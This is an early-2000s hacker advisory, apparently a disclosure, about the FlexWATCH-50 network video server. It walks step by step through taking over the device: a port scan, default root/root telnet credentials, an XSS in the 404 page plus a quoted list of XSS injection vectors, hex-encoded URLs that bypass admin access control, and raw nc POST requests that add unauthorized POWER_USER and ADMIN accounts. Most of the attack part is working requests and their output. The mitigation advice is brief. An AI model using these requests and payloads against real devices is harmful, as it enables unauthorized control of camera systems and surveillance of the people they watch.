#============================================================= # Unauthorized Access vulnerability in FlexWATCH camera Server # Second Assault ! #============================================================= Author: SLAIZER mail: slaizer[at]phreaker.net Vendor : SEYEON Technology System : FlexWATCH Network Video Server url : http://www.flexwatch.com/ Mail: sytech@seyeon.co.kr Protuct Version : FlexWATCH-50 Web Ver 2.2 tested Build Nov 18 2003 #==================== # Introduction #==================== A few months ago I published another document , explaining how to obtain entire access to the system of easy and fast form. The same document was sent to SEYEON before being published , since I did not obtain response of them , I decided to publish it. Two months after having being published , SEYEON got in touch with me. They asked me that test a new system already patched to the bug , in order that I was saying to them that bugs had found . They demanded me that it should remove the name of the company of my previus document and thet he should not publish any more... In addition to realizing a work to the company with many economic benefits of completely free form , thing that I do not accept . I will always be ready to help to whom I needed it from free form where as I'm not demanded anything and much less I use propietary software. I'm sorry that it seems to be exagerate but nobody lives of the air. #=================== # Description #=================== ·To examining the new system! slaizer@Necora:~$ echo -e "HEAD / HTTP/1.0\n\n" | nc victim 80 HTTP/1.0 302 Redirect Server: FlexWATCH-Webs <---------- :) the same everlasting banner Date: Mon Dec 1 01:01:26 2003 Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Location: http://victim/index.htm Age: 1 ·In another version do not examine the services use , becouse I did not need it :P. root@Necora:~$ nmap -sS -P0 victim Interesting ports on victim (censured :P): PORT STATE SERVICE 21/tcp open ftp <------- 23/tcp open telnet <------- Default user/pass are root/root :P 80/tcp open http <------- They are not also very interesting right now , 1024/tcp open kdm <------- but with the nice thing that is to use ssl :P. 1755/tcp open wms <------- ·It's time to see web application : ·Sailing along the web we think that the system has changed a bit as for the tree of directories , but for the rest it seems to be equal . The first thing what we meet is a bug in the application entrusted to notify to us that url to which we eant to accede doesn't exist ( 404 error ) , a piece of XSS :P . Cross-Site Scripting . Example : mozilla http://victim/hehe.html

Results : Access Error: Page not found when trying to obtain /hehe.html cannot open URL /hehe.html ( The code is executed perfectly even two times are executed .. hehe . Turning out be of that time two windows alerting us with the message -Security ? ). View source : Document Error: Page not found

Access Error: Page not found

when trying to obtain /hehe.html

Cannot open URL /hehe.html

Note: This type of methods is well-known to gain access to the system by means of links malicious to do with the identification of some user . document.write / document.cookie / document.location.. I expose different methods of injection Javascript extracted of Globbes Security Advisory #33:
[IE] [IE] [IE] & &{[code]}; [N4] [N4] [IE] <img src="mocha:[code]"> [N4] <img src="livescript:[code]"> [N4] <a href="about:<script>[code]</script>"> <meta http-equiv="refresh" content="0;url=javascript:[code]"> <body onload="[code]"> <div style="background-image: url(javascript:[code]);"> <div style="behaviour: url([link to code]);"> [IE] <div style="binding: url([link to code]);"> [Mozilla] <div style="width: expression([code]);"> [IE] <style type="text/javascript">[code]</style> [N4] <object classid="clsid:..." codebase="javascript:[code]"> [IE] <style></script> <![CDATA[</script> <script>[code]</script> <script>[code]</script> <img src="blah"onmouseover="[code]"> <img src="blah>" onmouseover="[code]"> <xml src="javascript:[code]"> <xml id="X"><a><b><script>[code]</script>;</b></a></xml> <div datafld="b" dataformatas="html" datasrc="#X"></div> [\xC0][\xBC]script>[code][\xC0][\xBC]/script> [UTF-8; IE, Opera] ·There has always to be verified the information that the client sends to the Servant , in this case the most obvius serious solution to verify that malicious characters are not inserted as for example substituing to their html equivalent. ------------ u0xa --------------- ·At the moment where I want to come it's to this url : admin/aindex.htm . That is where one finds the system-administration , so trying and using imagination I verify that it happens on having sent the request in hexadecimal format. Example : slaizer@Necora:~$ ./urlhex.pl http://victim/admin/aindex.htm ------------ Url encode to hex mode ---------------- http://victim/%61%64m%69n/a%69nde%78.%68t%6D -----------------By SLAIZER tools ------------------ I obtain this in text plain : ------ code ----- <html> <head> <script language="Javascript"> onBlur=self.focus() </script> <frameset cols="196," framespacing="0" frameborder="0"> <frame src="admin.htm" name="menu_frame" id="menu_frame" scrolling="Auto" marginwidth="0" marginheight="0"> <frame src="videocfg.htm" name="main_frame" id="tool_frame" scrolling="Auto" marginwidth="10" marginheight="0"> </frameset> </head> </html> ----- code ----- :D It's my friend the frame of configuracion and it's in plain text .. We go for good way we are going to look if we can do something with this. slaizer@Necora:~$ ./urlhex.pl http://victim/admin/admin.htm ------------ Url encode to hex mode ---------------- http://victim/adm%69%6E/%61%64%6D%69n.%68tm -----------------By SLAIZER tools ------------------ Here it is where we go away to centre , so we are going to see it!. Important links : _ |-Change Root | <---- /asp/pwdcfg.asp |Password configuration | | | |-Add User | <---- /asp/adduser.asp / Let's go! / | | |-Delete User | <---- /asp/deluser.asp | | |-Access Level | <---- /asp/chglimit.asp |_| slaizer@Necora:~$ nc victim 80 POST /goform/AddUser HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, /* Referer: http://victim/adm%69n/a%73%70/a%64duser.%61%73p <----/This is a /admin/asp/adduser.asp hex-encoded/ Accept-Language: es Content-Type: application/x-www-form-urlencoded Connection: Close User-Agent: Epi and Blass 1.0 (compatible; Cuartango 3.0) Host: victim Content-Length: 152 Pragma: no-cache RetPage=%2Fadmin%2Fretok2.htm&SaveCfg=YES&ClsPage=%2Fadmin%2Fclose1.htm&user=slaizer&password=root123 &passconf=root123&group=POWER_USER&enabled=on&ok=OK ----------- u0xa ------------ <br>User, "slaizer" is successfully added.<br><br>User configuration is successfully saved.<br></font></b> ----------- u0xa ------------ It seems that there is post correctly , but on having tried login shows us this error directly : Access Error: Forbidden When trying to obtain /admin/aindex.htm Access Denied Prohibited User . ------------------------------- foh....but ... I login in : http://victim/app/idxas.html <----- Camera Administration. Login : slaizer password: root123 |o_O| <-hehe !! We already have access to all Cameras!!! using the login slaizer with pass root123 that we add in the previous setp. We have already given a great steo improve.. But...The solution is simpler than seems.. the added user belongs to POWER_USER , earlier having this user really more sufficient , but it is enought to us to done one more test but add another user to the group of ADMIN : Example slaizer@Necora:~$ nc victim 80 POST /goform/AddUser HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, / Referer: http://victim/adm%69n/a%73%70/a%64duser.%61%73p <----/This is a /admin/asp/adduser.asp hex-encoded/ Accept-Language: es Content-Type: application/x-www-form-urlencoded Connection: Close User-Agent: Epi and Blass 1.0 (compatible; Cuartango 3.0) Host: victim Content-Length: 147 Pragma: no-cache RetPage=%2Fadmin%2Fretok2.htm&SaveCfg=YES&ClsPage=%2Fadmin%2Fclose1.htm&user=rezials&password=123root &passconf=123root&group=ADMIN&enabled=on&ok=OK ----------- u0xa ------------ <br>User, "rezials" is successfully added.<br><br>User configuration is successfully saved.<br></font></b> ----------- u0xa ------------ At the moment ok! . I use login rezials & password 123root and..... :D Congratulations! you Are ADMIN!!! You can already do what you want in the system!!! The problem was becouse the directory /admin was already not allowin him access to the users as previously it was happening. #========================= # Solution : #========================= Always verify the type of request that the client realizes, since you can see I have used a miscellany of code hexadeciaml and ascii . The best solution is to create meetings of identification and to allow the access to such directories for the meeting. /* Note : login in www.flexwatch.com as technic e-mail suport... xD */ #======================== # GreetSssSss!!! #======================== - gyorgyo - Makensi - palako - overpower - zapper - sha0 - IaM - phiber - kanutron - TaYoKeN - plAnadeCu - - kicat - AbeToRiuS - M0RGAN - ZeroQ ...........! xD [[Irc-Hispano : #boinasnegras , #ngsec]]